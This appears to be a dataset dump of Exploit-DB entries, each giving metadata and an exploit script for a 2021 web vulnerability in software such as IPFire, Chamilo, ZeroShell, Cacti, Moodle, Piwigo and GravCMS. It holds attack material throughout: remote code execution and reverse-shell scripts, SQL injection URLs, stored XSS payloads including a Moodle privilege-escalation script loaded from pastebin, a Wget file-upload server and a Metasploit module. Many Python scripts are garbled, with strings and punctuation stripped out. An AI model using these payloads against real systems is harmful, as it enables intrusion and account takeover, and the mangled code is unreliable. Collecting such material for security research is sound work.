QLWD/code_shield huggingface dataset:
标题: IPFire 2.25 - Remote Code Execution (Authenticated) EDB-ID: 49869 CVE: 2021-33393 类型: WEBAPPS 平台: CGI 发布日期: 2021-05-17 漏洞利用脚本: # Exploit Title: IPFire 2.25 - Remote Code Execution (Authenticated)
# Date: 15/05/2021
# Exploit Author: Mücahit Saratar
# Vendor Homepage: https://www.ipfire.org/
# Software Link: https://downloads.ipfire.org/releases/ipfire-2.x/2.25-core156/ipfire-2.25.x86_64-full-core156.iso
# Version: 2.25 - core update 156
# Tested on: parrot os 5.7.0-2parrot2-amd64
# CVE: CVE-2021-33393

#!/usr/bin/python3

import requests as R
import sys
import base64


    host  sysargv
     host    host  
    url  host  
    username  sysargv
    password  sysargv
    komut  sysargv

    f
    exit

veri   
         f
        
         
          
token  b  base64b64encodefencode
header   token
         
         
         
         host
         
         
         
         
         
         host


Rposturl dataveri headersheader verify URL: https://www.exploit-db.com/exploits/49869
标题: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated) EDB-ID: 49867 CVE: 2021-31933 类型: WEBAPPS 平台: PHP 发布日期: 2021-05-14 漏洞利用脚本: # Exploit Title: Chamilo LMS 1.11.14 - Remote Code Execution (Authenticated)
# Date: 13/05/2021
# Exploit Author: M. Cory Billington (@_th3y)
# Vendor Homepage: https://chamilo.org
# Software Link: https://github.com/chamilo/chamilo-lms
# Version: 1.11.14
# Tested on: Ubuntu 20.04.2 LTS
# CVE: CVE-2021-31933
# Writeup: https://theyhack.me/CVE-2021-31933-Chamilo-File-Upload-RCE/

from requests import Session
from random import choice
from string import ascii_lowercase

 requests


url    
user_name    
password  
command  



webshell_path   
webshell_name  f 
content  f 

 
    
     Session  s
        login_url  f
        login_data  
             user_name
             password
        
        r  spostlogin_url datalogin_data 

        
            rurl
            f
            
        f
        f
        file_upload_url  f
        
        php_webshell_file  
              f
             webshell_name content
            
        
        
        

        
         i  
            spostfile_upload_url filesphp_webshell_file

        exploit_request_url  f
        
        f

        
        command_output  sgetexploit_request_url
        
        command_outputtext



 __name__  
    main URL: https://www.exploit-db.com/exploits/49867
标题: ZeroShell 3.9.0 - Remote Command Execution EDB-ID: 49862 CVE: 2019-12725 类型: WEBAPPS 平台: LINUX 发布日期: 2021-05-13 漏洞利用脚本: # Exploit Title: ZeroShell 3.9.0 - Remote Command Execution 
# Date: 10/05/2021
# Exploit Author: Fellipe Oliveira
# Vendor Homepage: https://zeroshell.org/
# Software Link: https://zeroshell.org/download/
# Version: < 3.9.0 
# Tested on: ZeroShell 3.9.0
# CVE : CVE-2019-12725

#!/usr/bin/python3

import requests
import optparse
import time

parser = optparse.OptionParser()
parseradd_option  action dest 

options args  parserparse_args
  optionsurl
    
    
    
    exit

uri_zeroshell  optionsurl
session  requestsSession

 
    
        check  sessiongeturi_zeroshell  
         checkstatus_code  
            flag  
            
            timesleep
            
            timesleep
            
            timesleep
            checkraise_for_status  

         flag
            cmd  
            payload    cmd  
            uri_vuln  uri_zeroshell  payload
            burp0_headers             
            res  sessiongeturi_vuln headersburp0_headers verify
            restextrestextrindex  

     requestsexceptionsConnectionError  err
        uri_zeroshell
        
        exit
     requestsexceptionsHTTPError  conn
        uri_zeroshell
        
        exit

command URL: https://www.exploit-db.com/exploits/49862
标题: b2evolution 7-2-2 - 'cf_name' SQL Injection EDB-ID: 49840 CVE: 2021-28242 类型: WEBAPPS 平台: PHP 发布日期: 2021-05-06 漏洞利用脚本: # Exploit Title: b2evolution 7-2-2 - 'cf_name' SQL Injection 
# Author: @nu11secur1ty
# Testing and Debugging: @nu11secur1ty
# Date: 05.06.2021
# Vendor: https://b2evolution.net/
# Link: https://b2evolution.net/downloads/7-2-2
# CVE: CVE-2021-28242
# Proof: https://streamable.com/x51kso

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-28242


 selenium  webdriver
 time



website_link"
httpb2evolutionindexphp?disploginredirect_to2Fb2evolution2Findexphp3Fblogreturn_to2Fb2evolution2Findexphp3Fblog%3D2&source=menu%20link"


username


password


element_for_username


element_for_password


element_for_submit


browser  webdriverChrome 

chromedriver


browsergetwebsite_link


username_element  browserfind_element_by_nameelement_for_username
username_elementsend_keysusername
password_element   browserfind_element_by_nameelement_for_password
password_elementsend_keyspassword
signInButton  browserfind_element_by_nameelement_for_submit
signInButtonclick


injecting SQL commands into the  parameter
timesleep

browserget))

timesleep

browserget"
httpb2evolutionevoadmphp?colselect_submitcf_nameSELECT20FROM`evo_blogs`20ORDER20BY`evo_blogs``blog_name`cf_owner=&cf_type=&blog_filter_preset=custom&ctrl=collections"))

timesleep

browserget))


timesleep
browserclose


"At the time of the exploit you had to see information about the
tables\n"



 Exception URL: https://www.exploit-db.com/exploits/49840
标题: Moodle 3.6.1 - Persistent Cross-Site Scripting (XSS) EDB-ID: 49814 CVE: 2019-3810 类型: WEBAPPS 平台: PHP 发布日期: 2021-04-30 漏洞利用脚本: # Exploit Title: Moodle 3.6.1 - Persistent Cross-Site Scripting (XSS)
# Date: 04/2021
# Exploit Author: farisv
# Vendor Homepage: https://moodle.org/
# Software Link: https://download.moodle.org https://github.com/moodle/moodle/archive/refs/tags/v3.6.1.zip
# Version: Moodle < 3.6.2, < 3.5.4, < 3.4.7, < 3.1.16
# CVE: CVE-2019-3810

Moodle is a learning platform designed to provide educators, administrators,
and learners with a single robust, secure and integrated system to create
personalised learning environments.

The following is PoC to use the XSS bug on /userpix/ (CVE-2019-3810) for
privilege escalation from student to administrator.

1. Upload the XSS payload [1] to pastebin or other similar service.
   Change the value of userid to your own id.
   Let's say the URL is https://pastebin.com/raw/xxxxxxxx.
2. Login to your student account.
3. Set first name with:
   " style="position:fixed;height:100%;width:100%;top:0;left:0" onmouseover="x=document.createElement
4. Set surname with:
  ('script');x.src='https://pastebin.com/raw/xxxxxxxx';document.body.appendChild(x); alert('XSS')
5. Ask the administrator to open /userpix/ page or put the link to that page
   on your post and wait.

If successful, your account will be added as administrator.

See the demonstration video on https://github.com/farisv/Moodle-CVE-2019-3810

[1] XSS Payload for privilege escalation on Moodle. Change the value of userid to your id.

var webroot = '/';
var userid = '3';
var sesskey = '';

function get(path, success) {
    var xhr = new XMLHttpRequest();
    xhr.open('GET', webroot + path);
    xhr.onreadystatechange = function() {
        if (xhr.readyState > 3 && xhr.status == 200) {
            success(xhr.responseText);
        }
    };
    xhr.send();
    return xhr;
}

function post(path, data, success) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', webroot + path);
    xhr.onreadystatechange = function() {
        if (xhr.readyState > 3 && xhr.status == 200) {
            success(xhr.responseText);
        }
    };
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send(encodeURI(data));
    return xhr;
}

function setAdmin() {
    // Assign administrator access to userid
    bpath = 'admin/roles/admins.php';
    data = "confirmadd=" + userid + "&sesskey=" + sesskey;
    post(bpath, data, function(data){});
}

function getSesskey(data) {
    var sesskey_find = data.indexOf('"sesskey":"');
    sesskey = data.substr(sesskey_find + 11, 10);
    setAdmin();
}

function payload() {
    // We can find Sesskey inside JS script in main page
    get('', getSesskey);
}

// Start
payload(); URL: https://www.exploit-db.com/exploits/49814
标题: GNU Wget < 1.18 - Arbitrary File Upload (2) EDB-ID: 49815 CVE: 2016-4971 类型: REMOTE 平台: LINUX 发布日期: 2021-04-30 漏洞利用脚本: # Exploit Title: GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution (2)
# Original Exploit Author: Dawid Golunski
# Exploit Author: liewehacksie
# Version: GNU Wget < 1.18 
# CVE: CVE-2016-4971

import http.server
import socketserver
import socket
import sys

class wgetExploit(http.server.SimpleHTTPRequestHandler):

   def do_GET(self):
       # This takes care of sending .wgetrc/.bash_profile/$file

         selfpath  
           selfheadersget
          
          selfsend_response
          selfend_headers
          selfwfilewrite
          

       selfsend_response
         FILE  
       new_path  FTP_HOST FTP_PORT FILE

       new_path
       selfsend_header new_path
       selfend_headers


HTTP_LISTEN_IP  
HTTP_LISTEN_PORT  
FTP_HOST  
FTP_PORT  
FILE  

handler  socketserverTCPServerHTTP_LISTEN_IP HTTP_LISTEN_PORT wgetExploit



sock  socketsocketsocketAF_INET socketSOCK_STREAM
result  sockconnect_exFTP_HOST FTP_PORT
 result  
     FTP_HOST FTP_PORT

   
   exit

  HTTP_LISTEN_PORT

handlerserve_forever URL: https://www.exploit-db.com/exploits/49815
标题: Piwigo 11.3.0 - 'language' SQL EDB-ID: 49818 CVE: 2021-27973 类型: WEBAPPS 平台: PHP 发布日期: 2021-05-03 漏洞利用脚本: # Exploit Title: Piwigo 11.3.0 - 'language' SQL
# Author: @nu11secur1ty
# Testing and Debugging: nu11secur1ty
# Date: 04.30.2021
# Vendor: https://piwigo.org/
# Link: https://github.com/Piwigo/Piwigo/releases/tag/11.3.0
# CVE: CVE-2021-27973

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# Debug: @nu11secur1ty
# CVE-2021-27973

from selenium import webdriver
 time



website_link


username


password


element_for_username


element_for_password


element_for_submit


timesleep
browser  webdriverChrome
browsergetwebsite_link


username_element  browserfind_element_by_nameelement_for_username
username_elementsend_keysusername
password_element   browserfind_element_by_nameelement_for_password
password_elementsend_keyspassword
signInButton  browserfind_element_by_nameelement_for_submit
signInButtonclick


timesleep
browserget"
httppiwigoadminphp?pagelanguageslanguageTR_CN20or20updatexml2Cconcatversion20oraction=activate"))



 Exception URL: https://www.exploit-db.com/exploits/49818
标题: Kirby CMS 3.5.3.1 - 'file' Cross-Site Scripting (XSS) EDB-ID: 49808 CVE: 2021-29460 类型: WEBAPPS 平台: PHP 发布日期: 2021-04-28 漏洞利用脚本: # Exploit Title: Kirby CMS 3.5.3.1 - 'file' Cross-Site Scripting (XSS)
# Date: 21-04-2021
# Exploit Author: Sreenath Raghunathan
# Vendor Homepage: https://getkirby.com/
# Software Link: https://github.com/getkirby/kirby
# Version: 3.5.3.1(REQUIRED)
# CVE : CVE-2021-29460

POST /api/users/<userid>/avatar HTTP/1.1
Host: <host>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0)
Gecko/20100101 Firefox/87.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-CSRF: <redacted>
Content-Type: multipart/form-data;
boundary=---------------------------286121627839893676321700902916
Content-Length: 563

Connection: close
Cookie:
<redacted>



-----------------------------286121627839893676321700902916
Content-Disposition: form-data; name="file"; filename="svgxss.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,500 500,0" fill="#009900"
stroke="#004400"/>
  "><script>alert(1)</script>
</svg>
-----------------------------286121627839893676321700902916-- URL: https://www.exploit-db.com/exploits/49808
标题: Cacti 1.2.12 - 'filter' SQL Injection EDB-ID: 49810 CVE: 2020-14295 类型: WEBAPPS 平台: PHP 发布日期: 2021-04-29 漏洞利用脚本: # Exploit Title: Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution
# Date: 04/28/2021
# Exploit Author: Leonardo Paiva
# Vendor Homepage: https://www.cacti.net/
# Software Link: https://www.cacti.net/downloads/cacti-1.2.12.tar.gz
# Version: 1.2.12
# Tested on: Ubuntu 20.04
# CVE : CVE-2020-14295
# Credits: @M4yFly (https://twitter.com/M4yFly)
# References:
# https://github.commandcom/Cacti/cacti/issues/3622
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-14295

#!/usr/bin/python3

 argparse
 requests
 sys
 urllibparse
 bs4  BeautifulSoup




 url username password session
    
    get_token_request  sessiongeturl   timeout 

    
    html_content  get_token_requesttext
    soup  BeautifulSouphtml_content 

    csrf_token  soupfind_allgetsplit

     csrf_token
        f
        

        data  
             csrf_token
             
             username
             password
        

        login_request  sessionposturl   datadata 
           login_requesttext
            
            sysexit
        
            
    
        
        sysexit


 lhost lport session
    rshell  urllibparsequotef
    payload  f

    exploit_request  sessiongeturl  f 

    
    exploit_requesttext

    
        sessiongeturl   timeout 
     Exception
        

    

 __name__  
    parser  argparseArgumentParserdescription

    parseradd_argument metavar  required
    parseradd_argument metavar  required
    parseradd_argument metavar  required
    parseradd_argument metavar  required
    parseradd_argument metavar  required
    args  parserparse_args

    url  argst
    username  argsu
    password  argsp
    lhost  argslhost
    lport  argslport

    session  requestsSession

    loginurl username password session
    exploitlhost lport session URL: https://www.exploit-db.com/exploits/49810
标题: SEO Panel 4.8.0 - 'order_col' Blind SQL Injection (2) EDB-ID: 49804 CVE: 2021-28419 类型: WEBAPPS 平台: PHP 发布日期: 2021-04-26 漏洞利用脚本: # Exploit Title: SEO Panel 4.8.0 - 'order_col' Blind SQL Injection (2)
# Author: nu11secur1ty
# Testing and Debugging: nu11secur1ty
# Date: 04/25/2021
# Vendor: https://www.seopanel.org/
# Link: https://www.seopanel.org/spdownload/4.8.0
# CVE: CVE-2021-28419

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-28419

from selenium import webdriver
import time



website_link


username


password


element_for_username


element_for_password


element_for_submit


browser  webdriverChrome
browsergetwebsite_link


username_element  browserfind_element_by_nameelement_for_username
username_elementsend_keysusername
password_element   browserfind_element_by_nameelement_for_password
password_elementsend_keyspassword
signInButton  browserfind_element_by_nameelement_for_submit
signInButtonclick


browserget"
httpseopanelarchivephp?from_timeorder_colSELECT
 FROM
SELECTSLEEPnu11secur1tyorder_valDESCreport_typewebsitesearchreportssearch_namesecviewWebsiteSearchSummaryto_timewebsite_id"



 Exception URL: https://www.exploit-db.com/exploits/49804
标题: RemoteClinic 2.0 - 'Multiple' Stored Cross-Site Scripting (XSS) EDB-ID: 49795 CVE: 2021-31327 2021-30042 2021-30039 2021-30034 2021-30030 2021-31329 类型: WEBAPPS 平台: PHP 发布日期: 2021-04-22 漏洞利用脚本: # Exploit Title: RemoteClinic 2.0 - 'Multiple' Stored Cross-Site Scripting (XSS)
# Date: 13/04/2021
# Exploit Author: Saud Ahmad
# Vendor Homepage: https://remoteclinic.io/
# Software Link: https://github.com/remoteclinic/RemoteClinic
# Version: 2.0
# Tested on: Windows 10
# CVE : CVE-2021-30030, CVE-2021-30034, CVE-2021-30039, CVE-2021-30042, CVE-2021-31329

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Register a Patient with Full Name Field as XSS Payload: XSS"><img src=x onerror=alert(`XSS-BY-Saud-Ahmad`)>
3)After Register Patient, go to "Patients" endpoint.
4)XSS Executed.

For Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/1

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Register a Patient.
3)After Register Patient, a page redirect to Register Report Page. 
4)Here is "Symptoms" Field as XSS Payload: XSS"><img src=x onerror=alert(`XSS-BY-Saud-Ahmad`)>
4)After Register Report, Click on home which is "dashboard" endpoint.
5)XSS Executed.

For Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/5

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Register a Patient.
3)After Register Patient, a page redirect to Register Report Page. 
4)When you scroll down page two fields there "Fever" and "Blood Pressure", both are vulnerable to XSS, inject XSS Payload in both Fields: XSS"><img src=x onerror=alert(`XSS-BY-Saud-Ahmad`)>
4)After Register Report, Click on home.
5)Now Click on Report, XSS Executed.

For Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/8

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Register a New Clinic.
3)Here is four fields "Clinic Name", "Clinic Address", "Clinic City" and "Clinic Contact". All are vulnerable to XSS. 
4)Inject XSS Payload in all Fields: XSS"><img src=x onerror=alert(`XSS-BY-Saud-Ahmad`)>
4)Now go to Clinic Directory.
5)Click on that Clinic.
6)XSS Executed.

For Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/11

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Create a New Medicine.
3)Medicine Name Field is Vulnerable to XSS, inject with XSS Payload: XSS"><img src=x onerror=alert(`XSS-BY-Saud-Ahmad`)>
4)But there is client side validation on maxlength but not on server side. 
4)Change maxlength 30 to 100.
5)Click on Register.
6)Now Click on Show All which is /medicines/ endpoint.
7)XSS Executed.

Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/14

#Steps to Reproduce:

1)Login in Application as Doctor.
2)Create a New Staff Member.
3)Here is Chat Field and Personal Address Field are Vulnerable to XSS, inject with XSS Payload: XSS"><img src=x onerror=alert(`XSS-BY-Saud-Ahmad`)>
4)Profile Created.
5)Signout.
6)Now login with that staff member which Chat field and Personal Address field consist of XSS Payload.
7)After Login, go to my profile.
8)XSS Executed.

Detail POC: https://github.com/remoteclinic/RemoteClinic/issues/16 URL: https://www.exploit-db.com/exploits/49795
标题: CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS) EDB-ID: 49793 CVE: 2021-28935 类型: WEBAPPS 平台: PHP 发布日期: 2021-04-22 漏洞利用脚本: # Exploit Title: CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS)
# Date: 2021/03/19
# Exploit Author: bt0
# Vendor Homepage: http://www.cmsmadesimple.org/
# Software Link: https://s3.amazonaws.com/cmsms/downloads/14832/cmsms-2.2.15-install.zip
# Version: 2.2.15
# CVE: CVE-2021-28935 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28935

-----------------------------------------------------------

If you log into Admin panel and open My Preferences you could be able to exploit XSS in title field

Reflected XSS in /admin/addbookmark.php

Some payloads that works:

"><script>prompt(1)</script><"
"><script>alert(1)</script><"
63311';alert(1)//812
//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

------------------------------------------------------------ URL: https://www.exploit-db.com/exploits/49793
标题: DzzOffice 2.02.1 - 'Multiple' Cross-Site Scripting (XSS) EDB-ID: 49799 CVE: 2021-3318 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-04-23 漏洞利用脚本: # Exploit Title: DzzOffice 2.02.1 - 'Multiple' Cross-Site Scripting (XSS)
# Author: @nu11secur1ty
# Testing and Debugging: @nu11secur1ty, g3ck0dr1v3r
# Date: 04/23/2021
# Vendor: http://www.dzzoffice.com/
# Link: https://github.com/zyx0814/dzzoffice
# CVE: CVE-2021-3318

[+] Exploit Source:

#!/usr/bin/python3
# Author: @nu11secur1ty
# CVE-2021-3318

from selenium import webdriver
import time
 os



website_link


username


password


element_for_username

element_for_password

element_for_submit


browser  webdriverChrome 


browsergetwebsite_link



username_element  browserfind_element_by_nameelement_for_username
username_elementsend_keysusername
password_element   browserfind_element_by_nameelement_for_password
password_elementsend_keyspassword


signInButton  browserfind_element_by_nameelement_for_submit
signInButtonclick



element_for_natrutvanie
laina
browsergetlaina


ossystem


 Exception










 selenium  webdriver
 time



website_link


username


password



element_for_username


element_for_password


element_for_submit


browser  webdriverChrome 


browsergetwebsite_link



username_element  browserfind_element_by_nameelement_for_username
username_elementsend_keysusername
password_element   browserfind_element_by_nameelement_for_password
password_elementsend_keyspassword


signInButton  browserfind_element_by_nameelement_for_submit
signInButtonclick


timesleep
element_for_natrutvanie
laina
browsergetlaina


browserexecute_script
browserexecute_script
browserexecute_script
browserexecute_script

timesleep


signInButton  browserfind_element_by_nameelement_for_natrutvanie
signInButtonclick


 Exception URL: https://www.exploit-db.com/exploits/49799
标题: GravCMS 1.10.7 - Unauthenticated Arbitrary File Write (Metasploit) EDB-ID: 49788 CVE: 2021-21425 类型: WEBAPPS 平台: PHP 发布日期: 2021-04-21 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
          
          
          
         
          
             
          
         
          
             
             
          
          
          
          
         
          
              
              
              
          
             
          
          
          
            
            
            
             
          
        
      
    

  

   check
    

    res  
        
        target_uripath 
    

     res  resget_hidden_inputsfirst
      
    
      
    
  

   capture_cookie_token
    print_status 
    res  
        
        target_uripath 
    

    
     res  resget_cookies  gravsiteaz0admin\  resget_hidden_inputsfirst
      print_good 
    
      fail_with  
    

      resget_cookies
      resget_hidden_inputsfirst

  

   exploit

     check  
      fail_with  
    

    capture_cookie_token

      

    
    
    

    payloadencodedsub  
    payloadencodedsub  

    print_status 

    res  
        
        target_uripath   
        
        
          
          
          
          
          
          
          
          
      
    

     res  rescode    resbodyinclude
      print_good 
    

  

   on_new_session
    print_status 

    
    

    res  
        
        target_uripath   
        
        
          
          
          
      
    

     res  rescode    resbodyinclude
      print_good URL: https://www.exploit-db.com/exploits/49788